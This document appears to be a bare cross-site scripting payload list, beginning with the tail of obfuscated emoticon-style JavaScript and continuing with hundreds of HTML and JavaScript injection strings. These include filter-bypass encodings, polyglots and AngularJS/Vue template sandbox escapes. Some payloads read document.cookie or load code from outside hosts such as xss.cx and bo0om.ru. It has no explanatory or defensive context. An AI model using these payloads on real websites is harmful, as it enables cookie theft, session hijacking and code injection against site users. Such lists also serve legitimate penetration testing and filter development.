(ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_'); <img/src=`%00` onerror=this.onerror=confirm(1) <img src=`%00`
 onerror=alert(1)
 <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ "><h1/onmouseover='\u0061lert(1)'>%00 <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') '() {'document.createElement('img').src='javascript:while(1){}' '<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>' (function(a){alert(1)}).call() {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}} p'rompt(1) "(prompt(1))in" parseInt("prompt",36); eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))) eval(1558153217..toString(36))(1) eval(630038579..toString(30))(1) eval(0x258da033.toString(30))(1) for((i)in(self))eval(i)(1) {"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}} javascript:prompt(1)#{"action":1} vbscript:prompt(1)#{"action":1} window.location.assign("http://xss.cx") window.name='a\x01b' window.name='hacked';location.replace('about:blank'); window.name="javascript:confirm((window.opener||window).document.cookie);"; window.open("http://xss.cx","confirm(document.domain);", "", false); vbscr	ipt:confirm(1)" vbscript:confirm(1); vbscript:confirm(1); {{{}.toString.constructor('confirm(1)')()}} confirm(1)".replace(/.+/,eval)// confirm(1)>>>/xss '+confirm(9)&&null==' ';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//"; confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//-- \";confirm(document.location);// confirm(document.location) confirm(document.selection.createRange().getBookmark()) confirm(location.hostname) confirm(window.toStaticHTML('<base href="http://xss.cx/"></base>')); confirm(window.toStaticHTML('<label style="overflow:hidden;background:red;display:block;width:4000px;height:4000px;position:absolute;top:0px;left:0px;" for="submit">Click')); confirm(window.toStaticHTML('<marquee>foo</marquee>')); confirm(<xss>xs{[function::status]}s</xss>) %c0″//(0000%0dconfirm(1)// ;\"))}catch(e) {confirm(document.location);}// ;\\"))}catch(e) {confirm(document.location);}// \"));}catch(e){confirm(document.domain);}// \"));}catch(e){confirm(document.domain)}// \"));}catch(e){x=window.open('http://xss.cx/');setTimeout('confirm(x.document.body.innerText)',4000)}// ";document.body.addEventListener("DOMActivate",confirm(1))// document.body.innerHTML=('<\000\0i\000mg src=xx:x onerror=confirm(1)>') javaSCRIPT:confirm(1) javas	cript:\u0061lert(1); javascript:confirm(1) "javascript:confirm(0);", ;javascript:confirm(0); ;})javascript:confirm(0); javascript:confirm(0); javascript:confirm(1)// javascript:prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x "javascript:prompt(/compaXSS/.source);var x = prompt;x(0);x(/XSS/.source);x" /"/_javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x javascript:\u0061lert(1) javascript:confirm(document.cookie) ;prompt(1)//”;prompt(2)//”;prompt(3)//–></SCRIPT>”>’><SCRIPT>prompt(4)</SCRIPT> "!=prompt(9)!=" "*prompt(9)*" "-prompt(9)-" "/prompt(9)/" "<<prompt(9)<<" "<=prompt(9)<=" "<prompt(9)<" "===prompt(9)===" "==prompt(9)==" ">=prompt(9)>=" ">>>prompt(9)>>>" ">>prompt(9)>>" ">prompt(9)>" "?prompt(9):" "^prompt(9)^" "|prompt(9)|" "||prompt(9)||" prompt(9) prompt(location.hash) prototype.join=function(){confirm("PWND:"+document.body.innerHTML)}')(); j
a
vas
cript:confirm(1); parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm" <input type="text" value="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></input> <input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input> <input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input> <img border=3 alt=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e> <a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a> <math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math> <iframe src="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></iframe> <!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e--> <title>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</title> <style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style> <textarea>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</textarea> <div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div> <svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';"></svg> " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// VasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression(/*'/- /*',/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name)onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)background=javascript:eval(name)//>" [1].find(confirm) iframe/onload='this["src"]="javas	cript:al"+"ert``"';> <img src onerror=import('//bo0om.ru/x/')> <video><source onerror="javascript:javascript:alert(/AmoloHT/)"> <video onerror="javascript:javascript:alert(/AmoloHT/)"><source> <form><button formaction="javascript:javascript:alert(/AmoloHT/)">X <body oninput=javascript:alert(/AmoloHT/)><input autofocus> <math href="javascript:javascript:alert(/AmoloHT/)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(/AmoloHT/)">CLICKME</maction> </math> <frameset onload=javascript:alert(/AmoloHT/)> <table background="javascript:javascript:alert(/AmoloHT/)"> <!--<img src="--><img src=x onerror=javascript:alert(/AmoloHT/)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(/AmoloHT/))//"> <![><img src="]><img src=x onerror=javascript:alert(/AmoloHT/)//"> <style><img src="</style><img src=x onerror=javascript:alert(/AmoloHT/)//"> <li style=list-style:url() onerror=javascript:alert(/AmoloHT/)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(/AmoloHT/)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(/AmoloHT/)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(/AmoloHT/)</SCRIPT> <script /**/>/**/alert(/AmoloHT/)/**/</script /**/ "><h1/onmouseover='\u0061lert(/AmoloHT/)'> <iframe/src="data:text/html,<svg onload=alert(/AmoloHT/)>"> <meta content="
 1 
; JAVASCRIPT: alert(/AmoloHT/)" http-equiv="refresh"/> <form><iframe 	  src="javascript:alert(/AmoloHT/)" 	;> <marquee onstart=\u0070r\u06f\u006dpt()> <!--><script>confirm/**/()/**/</script> "%3balert`1`%3b" [1].map(alert) or (alert)(1) ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli <img src=x onerror="\u0061lert(1)"/> <img src=x onerror="eval('\141lert(1)')"/> <img src=x onerror="eval('\x61lert(1)')"/> <a href="ja%0Dva%0Dscr%0Dipt:aler%0Dt(1)"> <strong><button popovertarget="x">click me</button><test onbeforetoggle="alert(document.domain)" popover id="x">aaa</test></strong> <strong><button popovertarget="x"></button><test onbeforetoggle="alert(document.domain)" popover id="x"></test></strong> ";alert(0);// onx+%00+onpointerenter%3dalert(domain)+x "><input%252bTyPE%25253d"hxlxmj"%252bSTyLe%25253d"display%25253anone%25253b"%252bonfocus%25253d"this.style.display%25253d'block'%25253b%252bthis.onfocus%25253dnull%25253b"%252boNMoUseOVer%25253d"this['onmo'%25252b'useover']%25253dnull%25253beval(String.fromCharCode(99,111,110,102,105,114,109,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41))%25253b"%252bAuToFOcus> "/><svg onauxclick=co\u006efirm(\\1\\)> %3csvg/onload=window%5b"al"+"ert"%5d`1337`%3e <audio src(unknown) onerror="alert(document.cookie)"> \"><iframe/src=javascript:alert%26%23x000000028%3b)> “=””’></><script></script><svg onload=alert(1)> “ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” */</script><script>alert()/* <details%0Aopen%0AonToGgle%0A=%0Aabc=(co\u006efirm);abc%28%60xss%60%26%2300000000000000000041// 'href=javascript:alert()>click me<a/y=' <script ,>alert()</script> \u0061\u006c\u0065\u0072\u0074() onload=prompt`1`> %5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%28%29 '`"//><script>alert(1)</script> %5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%28%29 <s%08c%08r%08i%08p%08t>al%08ert%08()<%08/%08s%08c%08r%08i%08p%08t%08> <img+src=1+onerror=alert(1)>&anything_else=test test';alert`1`;a='test alert = window["al"+"ert"] <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")> \u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e <img/src/onerror=alert//
(2)> <img/src/onerror=alert/**/(3)> <svg/onload=window["al"+"ert"]`1337`> javaScRipt:Alert(‘1’) {{constructor.constructor('alert(1)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} {}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')() onerror="x='ale';z='r';y='t';p='`XSS`';new constructor.constructor`zzz${`${x}${z}${y}${p}`}bbb` "on{{click=prompt(document['cookie'])/*}}*/> <video src=x onerror="prompt(xss"> Hh'><script>alert(1)</script> <video src=x onerror="prompt(xss)"> <x @[_b.constructor`alert(1)`()]> <x #[_c.constructor`alert(1)`()]> <svg onload=prompt(document.domain)> <video src=x onerror1="prompt(xss)"> Hh'><marquee loop=1 width=0 onfinish=pr\u006fmpt`_Y000!_`>Y000</marquee> ["');alert('1’);//"]@xyz.xxx '<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/ ["');alert('XSS');//"]@xyz.xxx {{0[a='constructor'][a]('alert(1)')()}} {{$eval.constructor('alert(1)')()}} {{constructor.constructor('alert(/XSS Stored!/)')()}} <div v-html="''.constructor.constructor('alert(1)')()">a</div> <x v-html=_c.constructor('alert(1)')()> {{_c.constructor('alert(1)')()}} <x v-if=_c.constructor('alert(1)')()> {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} {{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}} {{c=''.sub.call;b=''.sub.bind;c.$apply=$apply;c.$eval=b;$root.$$phase=null;$root.$digest=$on; C=c.$apply(c);B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'};");m1=$$asyncQueue.pop().expression;m2=B(C,null,m1);[].push.apply=m2;$eval('B(b)');}} {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} {{$on.constructor('alert("CodePrefer")')()}} {{{{constructor.constructor('alert(\"XSS\")')()}} {"<img onerror=confirm('xss_by_ibro')src/>":1} {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+\"'");}}}} {{[].pop.constructor('alert\u00281\u0029')()}} {{constructor.constructor(‘alert(1)’)()}} {{constructor.constructor(valueOf.name.constructor.fromCharCode(97,108,101,114,116,40,49,41,10))()}} {{c=%27%27.sub.call;b=%27%27.sub.bind;a=%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync(%22astNode=pop();astNode.type=%27UnaryExpression%27;astNode.operator=%27(window.X?void0:(window.X=true,alert(document.domain)))+%27;astNode.argument={type:%27Identifier%27,name:%27foo%27};%22);m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=%27%27.sub;$eval(%27a(b.c)%27);[].push.apply=a;}} {{constructor.constructor(‘a=document;confirm(a.domain)’)()}} x=1}}};alert(1)// <input ng-cut=$event.composedPath()|orderBy:'(y=alert)(1)'> {{([].toString()).constructor.prototype.charAt=[].join;$eval(([].toString()).constructor.fromCodePoint([120],[61],[49],[125],[125],[125],[59],[97],[108],[101],[114],[116],[40],[49],[41],[47],[47]));}} {{constructor.constructor("alert(0)")()}} ${document.domain}`%26it;/script>'> 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; <x ng-app>{{constructor.constructor('alert(1)')()}} \”}})})-confirm`1`;({{/*/// {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"> <div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div> <input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>}} <input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'> {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?voide:(window.X=true,alert(document.domain)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync('alert(document.domain)');m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{c='%27%27.sub.call;b='%27%27.sub.bind;a='%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync('prompt("Enter something:", document.domain)');m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a='%27%27.sub;$eval('a(b.c)'):[].push.apply=a:}} {{constructor.constructor('eval(atob("YWxlcnQoMSk="))')()}} {{constructor.constructor('prompt(1)')()}} {{''.constructor.constructor('alert(1)')()}} {{'a'.constructor('alert(1)')()}} {{'a'.constructor.constructor('alert(1)')()}} {{toString.constructor.prototype.charAt=toString.constructor.prototype.substr;alert(toString.constructor.fromCharCode(97,108,101,114,116,40,49,41))}}